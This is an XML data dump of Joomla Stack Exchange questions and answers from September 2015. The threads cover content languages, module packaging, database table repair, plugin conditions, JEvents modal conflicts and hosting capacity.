  <row Id="13683" PostTypeId="2" ParentId="13677" CreationDate="2015-09-21T03:01:13.843" Score="8" Body="&lt;p&gt;Found what the issue is. I was using getInput function to show the field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;getInput('field2'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but showon attribute working only if I render the field using renderField function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;renderField('field2'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone facing the same issue&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-09-21T03:01:13.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13686" PostTypeId="1" AcceptedAnswerId="13687" CreationDate="2015-09-21T10:38:07.740" Score="5" ViewCount="362" Body="&lt;p&gt;I'm creating a multilangue joomla site with English and Faroese.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Faroese isn't in the language list, but my site is just made up of articles and menu's that I'm creating at my own, so I don't need to download anything but I want to add Faroese and English to my Content Languages. And have 2 flags up in the right top lettings users change in between languages, just like normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that Faroese isn't in the list when creating a new content language. How can I manually add it or somehow get it available?&lt;/p&gt;&#xA;" OwnerUserId="6960" LastActivityDate="2015-09-21T11:09:24.437" Title="Add custom language to content language" Tags="|joomla-3.4|language|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13687" PostTypeId="2" ParentId="13686" CreationDate="2015-09-21T11:09:24.437" Score="5" Body="&lt;p&gt;Hope this can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create a Languaje Content entry for your language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Extensions-&gt;Language Manage -&gt; Content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And create a new record as shown in the picture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aMAbD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMAbD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get the flag I created a new gif file fo.gif and uploaded to&#xA; &lt;strong&gt;media/mod_languages/images&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is it if you need it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DcnaX.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DcnaX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-21T11:09:24.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13688" PostTypeId="1" AcceptedAnswerId="13689" CreationDate="2015-09-21T12:22:51.450" Score="1" ViewCount="29" Body="&lt;p&gt;I'm working on a new website and I wanted to install a module that I have on another website that I'm administrating (I didn't make that website and the developer who made it, made that module himself). So how could I make an installation for that module and install it on my other page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I have contacted that developer and he said he didn't have that installation anymore, but that I'm permitted to use all the code and files that I wrote to make the same module.&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2015-09-21T12:40:14.797" Title="How to make a Joomla module installation from a module already installed on another page" Tags="|module|plugin|custom-module|custom-component|module-style|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13689" PostTypeId="2" ParentId="13688" CreationDate="2015-09-21T12:40:14.797" Score="0" Body="&lt;p&gt;When you say &amp;quot;module&amp;quot;, I'm going to assume you definitely mean &amp;quot;module&amp;quot;, as a lot of people get confused with the different extension types.&lt;/p&gt;&#xA;&lt;p&gt;Firstly, go to the following directory:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ROOT/modules/my_module&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;where &lt;code&gt;my_module&lt;/code&gt; is the name of the module that you want to take a copy of. Select everything inside this directory and download it.&lt;/p&gt;&#xA;&lt;p&gt;Then, there will be an XML file which you need to open in any text editor. If you see a tag called &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;media&amp;gt;&lt;/code&gt;, you will also need to download the contents from the following directories:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ROOT/language/en-GB/en-GB.mod_my_module.ini&lt;/p&gt;&#xA;&lt;p&gt;ROOT/language/en-GB/en-GB.mod_my_module.sys.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ROOT/media/my_module&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Zip everything up and install it on your new site.&lt;/p&gt;&#xA;&lt;p&gt;If you're having issues installing it, please provide the contents of the XML file and I will update my answer with the correct module directory structure you'll require.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-21T12:40:14.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13691" PostTypeId="2" ParentId="12408" CreationDate="2015-09-21T13:02:26.063" Score="2" Body="&lt;p&gt;So I've fixed this issue myself. I noticed that in my new database, the ks7hv_update_categories table was missing, and thus I couldn't open the ks7hv_updates even though it appears to be there in Phpmyadmin.&#xA;I've restored my last backup of the Joomla 2.5 version the site and I exported the ks7hv_update_categories and ks7hv_updates tables.&#xA;Opened up the exported file and copied the queries from there. &#xA;After that, I opened the SQL tab from the database of the Joomla 3 version and first I executed: &lt;code&gt;DROP TABLE ks7hv_updates;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I pasted the query that I copied before: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `ks7hv_update_categories` (&#xA;  `categoryid` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `name` varchar(20) DEFAULT '',&#xA;  `description` text NOT NULL,&#xA;  `parent` int(11) DEFAULT '0',&#xA;  `updatesite` int(11) DEFAULT '0',&#xA;  PRIMARY KEY (`categoryid`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Update Categories' AUTO_INCREMENT=1 ;&#xA;&#xA;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `ks7hv_updates` (&#xA;  `update_id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `update_site_id` int(11) DEFAULT '0',&#xA;  `extension_id` int(11) DEFAULT '0',&#xA;  `categoryid` int(11) DEFAULT '0',&#xA;  `name` varchar(100) DEFAULT '',&#xA;  `description` text NOT NULL,&#xA;  `element` varchar(100) DEFAULT '',&#xA;  `type` varchar(20) DEFAULT '',&#xA;  `folder` varchar(20) DEFAULT '',&#xA;  `client_id` tinyint(3) DEFAULT '0',&#xA;  `version` varchar(10) DEFAULT '',&#xA;  `data` text NOT NULL,&#xA;  `detailsurl` text NOT NULL,&#xA;  `infourl` text NOT NULL,&#xA;  PRIMARY KEY (`update_id`)&#xA;) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COMMENT='Available Updates' AUTO_INCREMENT=121 ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after that I inserted the values (used the query from the same exported file) and after that it worked fine again.&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2015-09-21T13:02:26.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13692" PostTypeId="2" ParentId="13650" CreationDate="2015-09-21T13:52:32.767" Score="6" Body="&lt;p&gt;You can also use native &lt;code&gt;dump()&lt;/code&gt; method: &lt;code&gt;echo $query-&amp;gt;dump();&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-09-21T13:52:32.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13693" PostTypeId="2" ParentId="13612" CreationDate="2015-09-21T14:01:55.953" Score="3" Body="&lt;p&gt;I am not sure about &lt;code&gt;$input-&amp;gt;get('data', '', 'array')&lt;/code&gt;. Are you sure that &lt;code&gt;data&lt;/code&gt; var is being passed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you can simply use &lt;code&gt;$input-&amp;gt;getString('username')&lt;/code&gt; and so on to retrieve parts of the passed data query.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-09-21T14:01:55.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13694" PostTypeId="2" ParentId="13653" CreationDate="2015-09-21T14:40:44.743" Score="1" Body="&lt;p&gt;As far as i can understand you have assigned the same layout to the specific page as the homepage.&#xA;  If you provide a screenshot or maybe some information is regards to the theme you are using i may be able to assist you&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2015-09-21T14:40:44.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13695" PostTypeId="1" AcceptedAnswerId="13698" CreationDate="2015-09-21T14:48:17.167" Score="1" ViewCount="264" Body="&lt;p&gt;I was trying to setup a multilingual joomla site, and Faroese wasn't an option so I asked this question: &quot;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13686/add-custom-language-to-content-language&quot;&gt;Add Custom language to content language&lt;/a&gt;&quot; but this didn't give the user the opportunity to select faroese in the language switcher, so I tried everything to get it to work, and ended with trying something stupid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the danish language package and changed everything that had da-DK to fo-FO file names and inside files. and made it into a new zip. It successfully installed the package. But when I choose Faroese to my site and administrator site it all went white. I tried to go into phpmyadmin and set the language to unpublished in &lt;strong&gt;xxxxx_languages&lt;/strong&gt; table, this fixed the site. But administrator is still just white. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where in the database is the setting for what language is being showed in administrator site so I can change it to something else? &lt;/p&gt;&#xA;" OwnerUserId="6960" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-09-21T17:17:46.867" Title="Change administrator site language through phpmyadmin" Tags="|joomla-3.4|database|language|multilingual|phpmyadmin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13696" PostTypeId="2" ParentId="13695" CreationDate="2015-09-21T14:53:22.957" Score="2" Body="&lt;p&gt;So you are not able to access the backend correct? You just see a white page when you try to do so? if that is the case you should enable error reporting in order to see what is causing the issue.&#xA;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/white-screen-of-death/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/white-screen-of-death/&lt;/a&gt; try this guide on how to do it&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2015-09-21T14:53:22.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13698" PostTypeId="2" ParentId="13695" CreationDate="2015-09-21T17:17:46.867" Score="2" Body="&lt;p&gt;Based on the error you provided in the screenshot, you need to go to the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;public_html/hammer/administrator/language/fo-FO/fo-FO.lcalise.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;at the top of the file, you will see the following snippet of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class da_DKLocalise {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you need to replace with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class fo_FOLocalise {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-21T17:17:46.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13699" PostTypeId="1" CreationDate="2015-09-21T21:36:23.497" Score="0" ViewCount="1028" Body="&lt;p&gt;How can I skip the step that sending email to a new user for verification (in admin mode)?  I would like to trigger admin version of activation email to Joomla admin account. After admin clicks to activate link, new accounts got activated and users receive a confirmation email.&lt;/p&gt;&#xA;" OwnerUserId="6965" LastEditorUserId="1629" LastEditDate="2015-09-22T01:22:47.333" LastActivityDate="2015-09-22T02:30:35.293" Title="How to skip Email Verification from user registration process (Joomla)" Tags="|joomla-3.x|user|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13700" PostTypeId="1" CreationDate="2015-09-21T23:55:42.173" Score="0" ViewCount="29" Body="&lt;p&gt;Following up to this question: &lt;a href=&quot;https://joomla.stackexchange.com/questions/13633/juser-load-unable-to-load-user-with-id-16635&quot;&gt;JUser: :_load: Unable to load user with ID: 16635&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the userid back but I am still perturbed by the user loading at all. How can I track this down? What are some suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a duplicate because now I want to understand methods to track down why the user is being loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-09-22T03:17:15.400" Title="Why is this user being loaded? 16635" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="3" ClosedDate="2015-09-22T08:49:57.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="13701" PostTypeId="2" ParentId="13699" CreationDate="2015-09-22T02:30:35.293" Score="2" Body="&lt;p&gt;Follow below procedure.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Users-&gt;User Manage&lt;/li&gt;&#xA;&lt;li&gt;Click on Options button on toolbar&lt;/li&gt;&#xA;&lt;li&gt;Set &quot;New User Account Activation&quot; option to &quot;Admin&quot;&lt;/li&gt;&#xA;&lt;li&gt;Enable &quot;Notification Mail to Administrators&quot; option (optional)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please note that users still need to verify their email address, though activation will be done by admin.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-09-22T02:30:35.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13702" PostTypeId="2" ParentId="10007" CreationDate="2015-09-22T03:32:09.050" Score="2" Body="&lt;p&gt;If you are looking for additional solutions, you may also want to look at the &lt;em&gt;just&lt;/em&gt; released cAPI REST API for Joomla (&lt;a href=&quot;http://getcapi.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://getcapi.org&lt;/a&gt;). It is powered by the Slim PHP micro-framework, provides a token and parameter management component with accompanying plugins defining major service route groups (and upcoming add-ons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cAPI provides both simple username/password authentication (via URL arguments) and token authentication (passed through HTTP header). Content creation/updates/deletes are rudimentary at the moment, with additional functionality in the works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may read a longer description from a different answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26340885/rest-api-for-joomla-3-0/32706378#32706378&quot;&gt;https://stackoverflow.com/questions/26340885/rest-api-for-joomla-3-0/32706378#32706378&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: This is a commercial Joomla package development by me.&lt;/p&gt;&#xA;" OwnerUserId="6968" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-09-22T03:32:09.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13703" PostTypeId="1" CreationDate="2015-09-22T04:04:42.480" Score="0" ViewCount="355" Body="&lt;p&gt;I would like to see the script and line where the error occurred instead of &quot;500 - String could not be parsed as XML&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to turn off joomla error reporting so I can just see standard PHP style errors.&lt;/p&gt;&#xA;" OwnerUserId="5787" LastEditorUserId="5787" LastEditDate="2015-10-10T14:22:26.567" LastActivityDate="2015-10-16T05:28:22.763" Title="See error line instead of: &quot;500 - String could not be parsed as XML&quot;" Tags="|joomla-3.x|joomla-2.5|xml|error-reporting|error-pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13704" PostTypeId="2" ParentId="13703" CreationDate="2015-09-22T05:03:09.873" Score="1" Body="&lt;p&gt;You should set &lt;code&gt;error_reporting&lt;/code&gt; to maximum in &lt;code&gt;configuration.php&lt;/code&gt;, then check the line of error.&lt;br&gt;&#xA;Set to &lt;code&gt;NONE&lt;/code&gt; if don't want the errors to be shown.&lt;/p&gt;&#xA;" OwnerUserId="3652" LastEditorUserId="126" LastEditDate="2015-10-16T05:28:22.763" LastActivityDate="2015-10-16T05:28:22.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13706" PostTypeId="1" AcceptedAnswerId="16342" CreationDate="2015-09-22T08:52:47.123" Score="1" ViewCount="68" Body="&lt;p&gt;any way to auto display login form on each page when user not logged in. I couldnt find any suitable answer for this.I have to create a membership site but when I change access of articles to specified group it just displays Not Authorized error, instead i would like  a login form.Any work arounds?&lt;/p&gt;&#xA;" OwnerDisplayName="user5829" LastActivityDate="2016-04-27T10:32:30.520" Title="Secure site for members" Tags="|login|acl|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13707" PostTypeId="1" CreationDate="2015-09-22T10:03:05.070" Score="3" ViewCount="113" Body="&lt;p&gt;I am working on a community site powered by Joomla. The site will have &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;News/Information (2 to 3 articles added weekly)&lt;/li&gt;&#xA;&lt;li&gt;Social Media (Easy Social 1.4) - Can grow upto 20,000 registered members sharing photos, status daily&lt;/li&gt;&#xA;&lt;li&gt;Directory (J Business Directory) - Entries upto 10,000 businesses&lt;/li&gt;&#xA;&lt;li&gt;Shopping Multi vender (VirtueMart) - upto 2000 items&lt;/li&gt;&#xA;&lt;li&gt;Blog (Easy Blog)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know it is advised to have them on different installations and configure Jfusion to have one login for all but I cannot do that for the following reasons&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Since it is a community site striving to be a one stop for all the needs of this particular community, everything needs to be integrated. Ex. When the user comments on an article or post a review on the directory, his profile is seen which links to his social media account on this site.&lt;/li&gt;&#xA;&lt;li&gt;The home page of the site will have modules from all the components. Ex: Directory Search Module, Social Media Registration module etc. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;MY QUESTIONS:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Q1: Do you think a single Joomla installation can handle this? And for how long?&lt;/li&gt;&#xA;&lt;li&gt;Q2: The site will be on a shared hosting at the beginning. Do I need a VPS for this site and when?&lt;/li&gt;&#xA;&lt;li&gt;Q3: Do I need cloud services and CDN services and when? Will the free Cloudflare service do?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6970" LastEditorUserId="1629" LastEditDate="2015-09-22T15:49:42.337" LastActivityDate="2015-09-22T15:49:42.337" Title="How much is too much for Joomla?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13709" PostTypeId="2" ParentId="13707" CreationDate="2015-09-22T10:17:50.260" Score="4" Body="&lt;p&gt;&lt;strong&gt;Do you think a single Joomla installation can handle this? And for how long?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I single Joomla installation can handle this. You will need to consider using a good hosting provider such as SiteGround and with the possibility of requiring a small dedicated server for the future. My site has over 37,000 registered users and the &lt;a href=&quot;https://www.siteground.com/web-hosting.htm&quot; rel=&quot;nofollow&quot;&gt;Siteground GrowBig&lt;/a&gt; shared hosting package suits me fine for the time being.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The site will be on a shared hosting at the beginning. Do I need a VPS for this site and when?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing when to migrate over to a VPS or dedicated server will have to be determined by yourself. Whichever hosting provider you go with, be sure to regularly check the server statistics, such as CPU usage, requests and server space. As your site continues to grow, these stats will increase. Whether your hosting provider contacts you saying you're causing issues for user on the server or your stats are in the &quot;orange&quot; zone, this will be the time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do I need cloud services and CDN services and when? Will the free Cloudflare service do?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would definitely recommend using a CDN. All Siteground shared hosting packages come with free Cloudflare access which you can utilize.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The big &quot;MUST&quot;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please make sure you experiment with caching as it sounds like you're definitely going to need it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I'm not endorsed with SiteGround, nor were any affiliate links used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-22T10:17:50.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13710" PostTypeId="1" AcceptedAnswerId="13711" CreationDate="2015-09-22T14:03:41.647" Score="1" ViewCount="150" Body="&lt;p&gt;My site here: &lt;a href=&quot;http://aycliffe.kent.sch.uk/icalrepeat.detail/2015/09/18/351/newspaper-with-mr-durrant&quot; rel=&quot;nofollow&quot;&gt;http://aycliffe.kent.sch.uk/icalrepeat.detail/2015/09/18/351/newspaper-with-mr-durrant&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to use the button 'Download as iCal file' the modal window appears but then goes again straight away - I've tried debugging it but can't find anything obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the JEvents forum isn't allowing posts using URLs at present!&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-09-22T14:13:39.163" Title="JEvents Frontend 'Download as iCal file' not working" Tags="|joomla-3.4|modal|jevents|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13711" PostTypeId="2" ParentId="13710" CreationDate="2015-09-22T14:13:39.163" Score="2" Body="&lt;p&gt;The problem being is that you are importing Bootstrap 2.x which comes shipped with Joomla (coming via &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;) &lt;strong&gt;and&lt;/strong&gt; Bootstrap 3.3.5 via the following link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js&quot; rel=&quot;nofollow&quot;&gt;https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which I assume you've manually added or is coming from the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've also got the following jQuery snippet somewhere in the head which could be causing issues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($('#ical_dialogJQ351').length) {&#xA;    var bootstrap3_enabled = (typeof jQuery().emulateTransitionEnd == 'function');&#xA;    if (bootstrap3_enabled &amp;amp;&amp;amp; $('#ical_dialogJQ351').hasClass('hide')){&#xA;        $('#ical_dialogJQ351').removeClass('hide');&#xA;    }&#xA;    //$('#ical_dialogJQ351').appendTo('body').modal({&quot;backdrop&quot;:true,&quot;keyboard&quot;:true,&quot;show&quot;:true,&quot;remote&quot;:&quot;&quot;});&#xA;}&#xA;&#xA;if ($('#action_dialogJQ351').length) {&#xA;    var bootstrap3_enabled = (typeof jQuery().emulateTransitionEnd == 'function');&#xA;    if (bootstrap3_enabled &amp;amp;&amp;amp; $('#action_dialogJQ351').hasClass('hide')){&#xA;        $('#action_dialogJQ351').removeClass('hide');&#xA;    }&#xA;    //$('#action_dialogJQ351').appendTo('body').modal({&quot;backdrop&quot;:true,&quot;keyboard&quot;:true,&quot;show&quot;:true,&quot;remote&quot;:&quot;&quot;});&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-22T14:13:39.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13712" PostTypeId="1" AcceptedAnswerId="13713" CreationDate="2015-09-22T17:34:22.700" Score="0" ViewCount="133" Body="&lt;p&gt;In my system plugin, I use the following condition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemMyPlugin extends JPlugin&#xA;{&#xA;    public function onAfterDispatch()&#xA;    {&#xA;        $uri = JFactory::getURI();&#xA;        $current_url = $uri-&amp;gt;toString();&#xA;        if(strpos($current_url,'?mykey') === false) {&#xA;            return true;&#xA;        }&#xA;    // some event that is being executed when url HAS ?mykey&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works perfectly. But I need one more event that will be executed under reversed condition i.e. when url has no ?mykey&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemMyPlugin extends JPlugin&#xA;{&#xA;    public function onAfterDispatch()&#xA;    {&#xA;        $uri = JFactory::getURI();&#xA;        $current_url = $uri-&amp;gt;toString();&#xA;        if(strpos($current_url,'?mykey') === false) {&#xA;            return true;&#xA;        }&#xA;        // some event that is being executed when url HAS ?mykey&#xA;&#xA;        if(strpos($current_url,'?mykey') !== false) {&#xA;            return true;&#xA;        }&#xA;        // some event that is being executed when url HAS NO ?mykey&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work and it looks like an incorrect statement&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-09-22T17:50:28.363" Title="Two reversed conditions in one onAfterDispatch() plugin function" Tags="|joomla-3.x|development|plugin|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13713" PostTypeId="2" ParentId="13712" CreationDate="2015-09-22T17:39:25.303" Score="2" Body="&lt;p&gt;Seeing as the URL can either &lt;strong&gt;have&lt;/strong&gt; or &lt;strong&gt;not have&lt;/strong&gt; &lt;code&gt;?mykey&lt;/code&gt;, surely you can use an &lt;code&gt;else&lt;/code&gt; condition can't you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(strpos($current_url,'?mykey') !== false) &#xA;{&#xA;    // URL has ?mykey&#xA;&#xA;    // Do some fancy code here&#xA;&#xA;    // You've finished what you need to do, so stop anything else&#xA;    return true;&#xA;}&#xA;else&#xA;{&#xA;    // URL doesn't have ?mykey&#xA;&#xA;    // Do some fancy code here&#xA;&#xA;    // You've finished what you need to do, so stop anything else&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-22T17:50:28.363" LastActivityDate="2015-09-22T17:50:28.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13714" PostTypeId="1" CreationDate="2015-09-22T20:14:22.157" Score="2" ViewCount="2088" Body="&lt;p&gt;I'm looking to solve a problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a rather long page and want to implement a side menu for quickly linking to specific content areas.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plan Your Visit&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Directions and Parking&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Accessibility&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The two submenu items (Directions/ Parking and Accessibility) are in the Plan your Visit Article and I do have anchor links for these areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just unsure how or what is the preferred way of using a joomla menu item to display anchor links in articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried using the external URL, with full URL to the article with anchor link on the end. This URL works when I put it into the browser but not when I use it in an external URL menu item type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I would accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="6917" LastActivityDate="2016-03-21T21:30:13.043" Title="Joomla 3+ Menu Link to Anchor in article which is already a menu item" Tags="|menu-item|submenu|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
